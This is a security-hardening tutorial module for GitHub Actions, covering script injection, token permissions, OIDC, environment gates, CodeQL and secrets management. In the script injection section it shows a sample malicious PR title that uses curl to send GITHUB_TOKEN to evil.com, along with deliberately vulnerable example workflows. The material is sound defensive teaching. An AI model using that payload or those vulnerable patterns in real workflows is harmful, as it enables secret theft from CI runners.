Back to Software Engineering & Delivery Mastery Series GitHub Actions Bootcamp

Module 9: Security Best Practices

June 2, 2026 Wasil Zafar 30 min read

Script injection prevention, GITHUB_TOKEN permissions, OIDC for cloud authentication, environment protection rules, CodeQL scanning, and secrets management — the complete security hardening guide for GitHub Actions workflows.

Table of Contents

  1. Script Injection Attacks
  2. Securing Workflows
  3. GITHUB_TOKEN Permissions
  4. OpenID Connect (OIDC)
  5. Protection Rules & Environments
  6. Security Scanning with CodeQL
  7. Secrets & Sensitive Data
  8. Exercises

Understanding Script Injection Attacks

Script injection is the most critical vulnerability in GitHub Actions workflows. It occurs when untrusted data from GitHub events (pull request titles, issue bodies, commit messages) flows directly into workflow commands without sanitization. An attacker who can control any field that gets interpolated into a run: step can execute arbitrary code on your runner.

Critical Security Warning: Never use ${{ github.event.pull_request.title }}, ${{ github.event.issue.body }}, ${{ github.event.comment.body }}, or any user-controlled context directly in a run: step. These are attacker-controlled inputs that enable remote code execution on your CI runners.

How Script Injection Works

GitHub Actions uses expression syntax ${{ }} to interpolate context values into workflow steps. When these values come from user-controllable fields, an attacker can craft malicious input that breaks out of the intended context and executes arbitrary shell commands.

Script Injection Attack Vector
flowchart TD
    A[Attacker opens PR with
malicious title] --> B[Workflow triggers
on: pull_request] B --> C{Does workflow use
github.event.pull_request.title
in run: step?} C -->|Yes - Vulnerable| D[Expression interpolated
into shell command] D --> E[Attacker's payload
executes as shell code] E --> F[Secrets exfiltrated
Code modified
Supply chain compromised] C -->|No - Safe| G[Input handled via
environment variable] G --> H[Shell treats input
as literal string]

Consider this vulnerable workflow that greets contributors:

# VULNERABLE - DO NOT USE
name: Greet Contributor
on:
  pull_request:
    types: [opened]

jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - name: Post greeting
        run: |
          echo "Thanks for your PR: ${{ github.event.pull_request.title }}"

An attacker creates a PR with this title:

# Malicious PR title:
a]]; curl -s http://evil.com/steal?token=$GITHUB_TOKEN; echo [[

After interpolation, the shell executes:

# What actually runs:
echo "Thanks for your PR: a]]; curl -s http://evil.com/steal?token=$GITHUB_TOKEN; echo [["
Real-World Impact: In 2021, researchers demonstrated script injection against major open-source projects including VS Code, Autodesk, and multiple Apache Foundation repos. Attackers could steal secrets, modify releases, and inject backdoors into build artifacts — all from a single malicious PR title.

Mitigation: Intermediate Environment Variables

The defense is simple: never interpolate untrusted data directly into run: commands. Instead, assign the value to an environment variable first. The shell will treat the variable's contents as a literal string, not executable code.

# SAFE - Using intermediate environment variable
name: Greet Contributor
on:
  pull_request:
    types: [opened]

jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - name: Post greeting
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
        run: |
          echo "Thanks for your PR: $PR_TITLE"
Defense Pattern: Always use the env: mapping to pass untrusted inputs into run: steps. The environment variable acts as a sanitization boundary — shell expansion treats its value as data, not code. This applies to ALL user-controllable contexts: PR titles, issue bodies, commit messages, branch names, and comment text.

Additional mitigation strategies:

  • Use actions/github-script — JavaScript actions don't have shell injection risk since values are passed as function arguments, not interpolated into shell strings
  • Validate inputs — Use regex patterns to reject unexpected characters before processing
  • Restrict pull_request_target — This trigger runs with write permissions from the base branch context; never check out PR code in this context
  • Use Harden-Runnerstep-security/harden-runner detects anomalous network calls and file modifications during workflow execution
# Using actions/github-script for safe string handling
- name: Comment on PR
  uses: actions/github-script@v7
  with:
    script: |
      const title = context.payload.pull_request.title;
      // title is a JavaScript string - no shell injection possible
      await github.rest.issues.createComment({
        owner: context.repo.owner,
        repo: context.repo.repo,
        issue_number: context.issue.number,
        body: `Thanks for "${title}"! We'll review shortly.`
      });

Securing Workflows and Preventing Vulnerabilities

Beyond script injection, GitHub Actions workflows face a broader attack surface: malicious third-party actions, over-permissioned tokens, compromised dependencies, and fork-based attacks. A defense-in-depth approach addresses each layer.

Reviewing Third-Party Actions

Every uses: statement in your workflow grants that action's code access to your runner environment, secrets, and GITHUB_TOKEN. Treat third-party actions like third-party dependencies — they are code you're executing in your CI environment.

Supply Chain Risk: A compromised action maintainer can push a malicious update that runs in every workflow referencing that action by tag. In 2024, the tj-actions/changed-files action was compromised, affecting 23,000+ repositories. Actions pinned by tag (@v3) were vulnerable; those pinned by SHA were not.

Before using any third-party action:

  • Review the source — Read the action's action.yml and main script. Understand what it does.
  • Check the publisher — Verified creators (blue checkmark) have undergone GitHub's review. Prefer actions from GitHub itself (actions/*) or verified organizations.
  • Audit permissions needed — Does the action require contents: write? Why? Does it need network access?
  • Monitor for updates — Use Dependabot to track action version updates and review changelogs.

Pinning Actions by SHA

Tags are mutable — v3 today might point to different code tomorrow. Git commit SHAs are immutable. Always pin production workflows to full commit SHAs:

# BAD - Tag can be moved by maintainer (or attacker)
- uses: actions/checkout@v4

# GOOD - Immutable reference, cannot be tampered with
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

# Also good - SHA with version comment for readability
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
  with:
    node-version: '20'
Automation Tip: Use step-security/secure-repo to automatically convert tag references to SHA pins across all your workflows. Dependabot can then propose SHA updates when new versions are released, giving you a review opportunity before adopting changes.
# .github/dependabot.yml - Monitor action updates
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
    # Group updates for easier review
    groups:
      actions:
        patterns:
          - "*"

Managing GITHUB_TOKEN Permissions

Every workflow run receives an automatic GITHUB_TOKEN with permissions to interact with the repository's API. By default, this token may have read and write access to repository contents, packages, pull requests, and issues — far more than most workflows need.

Default Permissions: Read vs Write

GitHub offers two default permission levels at the repository/organization level:

  • Read and write (legacy default) — Token can push commits, merge PRs, create releases, publish packages. Most workflows don't need this.
  • Read-only (recommended) — Token can only read repository contents. Write permissions must be explicitly requested per-workflow/job.
Organization Setting: Go to Organization Settings → Actions → General → Workflow permissions and select "Read repository contents and packages permissions". This forces all repositories to explicitly declare write permissions, preventing accidental over-privileging.

Per-Job Permission Scoping

Declare permissions: at both workflow and job level. The job-level declaration takes precedence and should be as restrictive as possible:

name: Hardened CI Pipeline
on:
  push:
    branches: [main]
  pull_request:

# Workflow-level: drop ALL permissions by default
permissions: {}

jobs:
  test:
    runs-on: ubuntu-latest
    # Job-level: only what this job actually needs
    permissions:
      contents: read    # checkout code
      checks: write     # post test results
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
      - run: npm test

  deploy:
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write   # Required for OIDC
      packages: write   # Push container image
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
      - name: Deploy
        run: echo "Deploying..."
Key Principle: Start with permissions: {} at the workflow level (drops everything), then add back only what each job needs. This is the "deny by default, allow explicitly" pattern. If a compromised action tries to push code or create releases, the token simply won't have permission.

Available permission scopes:

Scope Read Use Case Write Use Case
contents Checkout code Push commits, create tags/releases
pull-requests Read PR metadata Post comments, approve PRs
issues Read issues Create/edit issues and comments
packages Pull packages Publish packages
id-token Request OIDC JWT for cloud auth
security-events Read alerts Upload SARIF results
actions Read workflow runs Cancel/re-run workflows
deployments Read deployments Create deployments

Using OpenID Connect (OIDC) for Cloud Authentication

Traditional cloud authentication in CI/CD uses long-lived credentials (AWS access keys, Azure service principal secrets, GCP service account keys) stored as GitHub secrets. These credentials never expire automatically, can be leaked, and provide persistent access if compromised.

OIDC eliminates long-lived secrets entirely. Instead, GitHub Actions requests a short-lived JWT token from GitHub's OIDC provider, and your cloud provider validates this token and issues temporary credentials — typically valid for 15-60 minutes.

OIDC Authentication Flow
sequenceDiagram
    participant WF as GitHub Actions Workflow
    participant GH as GitHub OIDC Provider
    participant CP as Cloud Provider (AWS/Azure/GCP)
    participant RES as Cloud Resources

    WF->>GH: Request OIDC token
(id-token: write permission) GH->>GH: Generate JWT with claims
(repo, ref, workflow, actor) GH-->>WF: Signed JWT token WF->>CP: Present JWT + Role ARN/Federated Identity CP->>GH: Validate JWT signature
(/.well-known/openid-configuration) CP->>CP: Check trust policy
(repo match, branch match) CP-->>WF: Short-lived credentials
(15-60 min TTL) WF->>RES: Access resources with
temporary credentials
Why OIDC is Superior: No secrets to rotate. No credentials to leak. Credentials expire automatically. Access is scoped to specific repos, branches, and environments. Audit trail shows exactly which workflow assumed which role. If a runner is compromised, the attacker gets credentials valid for minutes, not months.

Configuring OIDC for AWS

# Complete AWS OIDC authentication workflow
name: Deploy to AWS
on:
  push:
    branches: [main]

permissions:
  id-token: write   # Required for OIDC token request
  contents: read    # Required for checkout

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production  # Optional: ties to environment protection rules
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

      - name: Configure AWS Credentials via OIDC
        uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeployRole
          aws-region: us-east-1
          # Optional: restrict session duration
          role-duration-seconds: 900  # 15 minutes

      - name: Deploy to S3
        run: aws s3 sync ./dist s3://my-app-bucket --delete

      - name: Invalidate CloudFront
        run: |
          aws cloudfront create-invalidation \
            --distribution-id E1234567890 \
            --paths "/*"

The AWS IAM trust policy for the role restricts which repositories and branches can assume it:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:ref:refs/heads/main"
        }
      }
    }
  ]
}

Configuring OIDC for Azure

# Complete Azure OIDC authentication workflow
name: Deploy to Azure
on:
  push:
    branches: [main]

permissions:
  id-token: write
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

      - name: Azure Login via OIDC
        uses: azure/login@6c251865b4e6290e7b78be643ea2d005bc51f69a # v2.1.1
        with:
          client-id: ${{ secrets.AZURE_CLIENT_ID }}
          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}

      - name: Deploy to Azure Web App
        uses: azure/webapps-deploy@145a0687697df1f6f1e8b54a3603c6ce1d6f4680 # v3.0.1
        with:
          app-name: my-production-app
          package: ./dist
Trust Policy Precision: Always restrict OIDC trust policies to specific repositories AND branches. A policy that trusts repo:my-org/* means ANY repository in your org can assume the role. A policy that trusts repo:my-org/my-repo:* means any branch — including attacker-created branches — can assume it. Use repo:my-org/my-repo:ref:refs/heads/main or repo:my-org/my-repo:environment:production for maximum restriction.

OIDC subject claim patterns for trust policies:

Pattern Matches Security Level
repo:org/repo:ref:refs/heads/main Only main branch pushes High
repo:org/repo:environment:production Only production environment Highest
repo:org/repo:ref:refs/tags/v* Only version tags High
repo:org/repo:pull_request Any PR (use cautiously) Low
repo:org/repo:* Any trigger from this repo Medium

Repository Protection Rules and Environments

GitHub Environments add deployment gates to your workflows — human approval, wait timers, branch restrictions, and environment-scoped secrets. They're the mechanism for preventing unauthorized deployments even if an attacker gains workflow execution.

Required Reviewers

When a job references an environment with required reviewers, the workflow pauses and waits for approval before executing that job. This provides a human checkpoint for sensitive operations:

name: Production Deployment
on:
  push:
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
      - run: npm test

  deploy-staging:
    needs: test
    runs-on: ubuntu-latest
    environment: staging  # No reviewers - auto-deploys
    steps:
      - run: echo "Deploying to staging..."

  deploy-production:
    needs: deploy-staging
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://myapp.com
    # This job PAUSES until a required reviewer approves
    steps:
      - run: echo "Deploying to production..."

Deployment Branch Restrictions

Environment settings allow restricting which branches can deploy to an environment:

  • All branches — Any branch can trigger deployment (not recommended for production)
  • Protected branches only — Only branches with branch protection rules
  • Selected branches — Explicit allowlist (e.g., only main and release/*)
Wait Timers: Add a delay (up to 43,200 minutes / 30 days) before a deployment proceeds. This gives time to detect issues after staging deployment before production goes live. Combine with required reviewers for maximum safety: timer elapses, THEN reviewer must approve.

Environment secrets are only available to jobs that reference that environment. This means a compromised test job cannot access production database credentials — they're gated behind the environment's protection rules:

# Environment secrets are isolated per environment
jobs:
  test:
    runs-on: ubuntu-latest
    # No environment - cannot access production secrets
    steps:
      - run: echo "Running tests with test DB"
        env:
          DB_URL: ${{ secrets.TEST_DB_URL }}  # repo-level secret

  deploy:
    runs-on: ubuntu-latest
    environment: production
    # Only this job can access PROD_DB_URL
    steps:
      - run: echo "Deploying with production DB"
        env:
          DB_URL: ${{ secrets.PROD_DB_URL }}  # environment-level secret

Security Scanning with CodeQL

CodeQL is GitHub's semantic code analysis engine that finds vulnerabilities by treating code as data. Unlike pattern-matching linters, CodeQL builds a database representing your code's structure and runs queries against it — finding vulnerabilities that span multiple functions, files, or even modules.

# Complete CodeQL scanning workflow
name: "CodeQL Analysis"
on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]
  schedule:
    # Run weekly to catch new vulnerability patterns
    - cron: '0 6 * * 1'

permissions:
  contents: read
  security-events: write  # Required to upload SARIF results
  actions: read           # Required for private repos

jobs:
  analyze:
    name: Analyze (${{ matrix.language }})
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false
      matrix:
        language: ['javascript-typescript', 'python']
        # Supported: javascript-typescript, python, java-kotlin,
        # csharp, cpp, go, ruby, swift

    steps:
      - name: Checkout repository
        uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

      - name: Initialize CodeQL
        uses: github/codeql-action/init@v3
        with:
          languages: ${{ matrix.language }}
          # Use extended query suite for more thorough analysis
          queries: +security-extended,security-and-quality

      # Autobuild handles most languages automatically
      - name: Autobuild
        uses: github/codeql-action/autobuild@v3

      - name: Perform CodeQL Analysis
        uses: github/codeql-action/analyze@v3
        with:
          category: "/language:${{ matrix.language }}"

Custom Queries and SARIF Integration

CodeQL's power comes from custom queries. You can write organization-specific rules that detect patterns unique to your codebase:

# Using custom CodeQL query packs
- name: Initialize CodeQL
  uses: github/codeql-action/init@v3
  with:
    languages: javascript-typescript
    queries: |
      +security-extended
      +./.github/codeql/custom-queries
    config: |
      paths-ignore:
        - '**/test/**'
        - '**/node_modules/**'
      query-filters:
        - exclude:
            tags contain: /maintainability/
PR Integration: CodeQL results appear directly as PR review comments with severity, description, and remediation guidance. Configure branch protection to require CodeQL checks to pass before merging — this prevents introducing new vulnerabilities into protected branches.

You can also upload SARIF results from third-party scanners (Snyk, Semgrep, Trivy) to GitHub's Security tab:

# Upload third-party scanner results as SARIF
- name: Run Trivy vulnerability scanner
  uses: aquasecurity/trivy-action@0.24.0
  with:
    scan-type: 'fs'
    format: 'sarif'
    output: 'trivy-results.sarif'
    severity: 'CRITICAL,HIGH'

- name: Upload Trivy scan results
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: 'trivy-results.sarif'
    category: 'trivy'

Best Practices for Secrets and Sensitive Data

Secrets in GitHub Actions are encrypted at rest and only exposed to workflows that reference them. However, proper secrets management goes far beyond just storing values — it encompasses rotation, access control, detection, and audit.

Secret Exposure Vectors: Secrets can leak through: (1) workflow logs if echoed directly, (2) artifact uploads containing config files, (3) forked repository PRs if using pull_request_target carelessly, (4) composite actions that pass secrets via outputs, (5) error messages from failed API calls. GitHub redacts known secret values in logs, but transformation (base64 encoding, URL encoding) can bypass redaction.

Secret Rotation and Organization

  • Rotate regularly — Set calendar reminders for 90-day rotation cycles. Use OIDC where possible to eliminate rotation entirely.
  • Use environment secrets — Production credentials should only be available to jobs targeting the production environment with approval gates.
  • Dependabot secrets — Separate secret scope for Dependabot workflows. Cannot access regular repository secrets.
  • Organization secrets — Share secrets across repos with visibility policies (all repos, private repos, or selected repos).
# Secret hierarchy example
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - run: npm test
        env:
          # Repository secret - available to all jobs
          API_KEY: ${{ secrets.TEST_API_KEY }}

  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - run: deploy.sh
        env:
          # Environment secret - only available in production environment
          DATABASE_URL: ${{ secrets.PROD_DATABASE_URL }}
          # Organization secret - shared across repos
          DEPLOY_TOKEN: ${{ secrets.ORG_DEPLOY_TOKEN }}

Secret Scanning and Push Protection

GitHub's secret scanning automatically detects committed secrets (API keys, tokens, passwords) in your repository. Push protection blocks pushes that contain detected secrets before they reach the remote:

Enable Push Protection: Settings → Code security and analysis → Secret scanning → Push protection. This prevents secrets from ever reaching your repository. When a developer accidentally commits an AWS key, the push is rejected with a clear message identifying the secret and its location.

CODEOWNERS for Workflow Files

Restrict who can modify workflow files by adding a CODEOWNERS rule:

# .github/CODEOWNERS
# Require security team review for workflow changes
.github/workflows/   @my-org/security-team
.github/actions/     @my-org/security-team

Security Hardening Checklist

GitHub Actions Security Checklist
Category Action Priority
Permissions Set org default to read-only token permissions Critical
Permissions Add permissions: {} at workflow level, grant per-job Critical
Injection Never interpolate untrusted data in run: steps Critical
Injection Use env: variables for all event context values Critical
Supply Chain Pin all third-party actions to full SHA High
Supply Chain Enable Dependabot for GitHub Actions updates High
Authentication Use OIDC instead of long-lived cloud credentials High
Authentication Restrict OIDC trust to specific repos + branches High
Environments Configure required reviewers for production High
Environments Restrict deployment branches to main only Medium
Scanning Enable CodeQL on all repositories High
Scanning Enable secret scanning with push protection Critical
Secrets Use environment secrets for production credentials High
Secrets Rotate secrets every 90 days (or use OIDC) Medium
Access Control Add CODEOWNERS for .github/workflows/ Medium
Access Control Disable Actions on forks or require approval for first-time contributors Medium
Monitoring Enable audit log streaming for workflow events Medium
Monitoring Use step-security/harden-runner for network monitoring Medium

Complete Hardened Workflow Example

This workflow demonstrates all security best practices combined into a production-ready CI/CD pipeline:

# .github/workflows/secure-pipeline.yml
# Demonstrates: minimal permissions, SHA pinning, OIDC,
# environment gates, input sanitization, and monitoring
name: Secure Production Pipeline
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

# Drop ALL permissions by default
permissions: {}

jobs:
  # ─── Lint & Test ────────────────────────────────────
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      checks: write
    steps:
      - name: Harden Runner
        uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
        with:
          egress-policy: audit

      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
      - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
        with:
          node-version: '20'
          cache: 'npm'
      - run: npm ci
      - run: npm test

  # ─── Security Scan ─────────────────────────────────
  security:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
      - name: Initialize CodeQL
        uses: github/codeql-action/init@v3
        with:
          languages: javascript-typescript
      - name: Perform CodeQL Analysis
        uses: github/codeql-action/analyze@v3

  # ─── Deploy to Production ──────────────────────────
  deploy:
    needs: [test, security]
    if: github.ref == 'refs/heads/main' && github.event_name == 'push'
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write    # OIDC
      deployments: write
    environment:
      name: production
      url: https://myapp.com
    steps:
      - name: Harden Runner
        uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
        with:
          egress-policy: audit

      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

      - name: Configure AWS via OIDC
        uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubDeploy
          aws-region: us-east-1
          role-duration-seconds: 900

      - name: Deploy
        run: |
          aws s3 sync ./dist s3://prod-bucket --delete
          aws cloudfront create-invalidation \
            --distribution-id ${{ vars.CF_DISTRIBUTION_ID }} \
            --paths "/*"

Exercises

Exercise 1: Find and Fix Script Injection

Review the following workflow and identify all script injection vulnerabilities. Rewrite it using safe patterns:

name: Issue Labeler
on:
  issues:
    types: [opened]
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - run: |
          TITLE="${{ github.event.issue.title }}"
          BODY="${{ github.event.issue.body }}"
          if echo "$TITLE" | grep -i "bug"; then
            gh issue edit ${{ github.event.issue.number }} --add-label "bug"
          fi

Tasks:

  • Identify both injection points
  • Rewrite using env: variables
  • Add permissions: with minimum required scope
  • Consider using actions/github-script as an alternative
script-injection remediation
Exercise 2: Implement OIDC for Multi-Cloud

Create a workflow that deploys a container to both AWS ECS and Azure Container Apps using OIDC — no long-lived secrets:

  • Configure id-token: write permission
  • Use aws-actions/configure-aws-credentials with role assumption
  • Use azure/login with federated credentials
  • Write the IAM trust policy JSON restricting to main branch only
  • Write the Azure federated identity credential configuration
  • Add an environment: production gate requiring approval
OIDC AWS Azure multi-cloud
Exercise 3: Harden an Existing Pipeline

Take this intentionally insecure workflow and apply the complete security checklist:

name: Deploy
on: push
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: some-org/deploy-action@main
      - run: |
          echo "Deploying ${{ github.event.head_commit.message }}"
          curl -X POST https://api.mycloud.com/deploy \
            -H "Authorization: Bearer ${{ secrets.CLOUD_TOKEN }}"

Apply these fixes:

  • Add permissions: {} at workflow level
  • Pin actions to SHA
  • Fix the script injection in commit message
  • Replace the long-lived token with OIDC
  • Add environment protection with required reviewer
  • Restrict to main branch only
  • Add step-security/harden-runner
hardening checklist defense-in-depth
Exercise 4: CodeQL Custom Query

Set up a CodeQL workflow with custom security scanning:

  • Configure CodeQL for JavaScript/TypeScript and Python
  • Add the security-extended query suite
  • Exclude test directories from scanning
  • Schedule weekly scans in addition to PR triggers
  • Integrate Trivy container scanning with SARIF upload
  • Configure branch protection to require CodeQL checks pass
  • Set up Slack notifications for critical/high severity findings
CodeQL SARIF SAST

Next in the Series

In Module 10: Real-World Project, we'll bring everything together — building a complete production CI/CD pipeline from scratch that incorporates testing, security scanning, multi-environment deployments, and monitoring into a cohesive automated delivery system.